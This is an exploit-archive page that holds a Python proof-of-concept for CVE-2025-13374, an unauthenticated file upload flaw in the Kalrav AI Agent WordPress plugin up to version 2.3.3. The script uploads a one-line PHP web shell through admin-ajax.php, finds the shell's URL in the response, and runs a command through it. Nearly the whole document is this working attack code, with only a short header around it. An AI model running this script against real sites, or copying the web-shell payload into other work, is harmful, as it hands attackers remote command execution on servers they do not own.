4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2025-13374.py PY
# Exploit Title: Kalrav AI Agent <= 2.3.3 - Unauthenticated Arbitrary File Upload
# Date: 11/15/2025
# Exploit Author: Ryan Kozak
# Vendor Homepage: https://wordpress.org/plugins/kalrav-ai-agent
# Version: <= 2.3.3
# CVE : CVE-2025-13374

import requests
import re
import sys
import argparse
from urllib.parse import urljoin

def main():
    parser = argparse.ArgumentParser(description='Kalrav AI Agent Plugin File Upload Exploit')
    parser.add_argument('url', help='Target WordPress URL (e.g., http://example.com)')
    
    args = parser.parse_args()
    
    print(f"[+] Target: {args.url}")
    
    # Upload malicious file
    upload_url = urljoin(args.url, '/wp-admin/admin-ajax.php')
    
    files = {
        'file': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php')
    }
    
    data = {
        'action': 'kalrav_upload_file'
    }
    
    response = requests.post(upload_url, files=files, data=data)

    # Extract file URL from response
    file_url_match = re.search(r'"url":"([^"]+)"', response.text)
    if not file_url_match:
        print("[-] Failed to upload file")
        sys.exit(1)
    
    file_url = file_url_match.group(1)
    # Fix escaped slashes in URL
    file_url = file_url.replace('\\/', '/')
    print(f"[+] File uploaded successfully!")
    print(f"[+] Shell URL: {file_url}")
    
    # Test the shell
    test_url = f"{file_url}?cmd=whoami"
    response = requests.get(test_url)
    print(f"[+] Command output:")
    print(response.text.strip())

if __name__ == "__main__":
    main()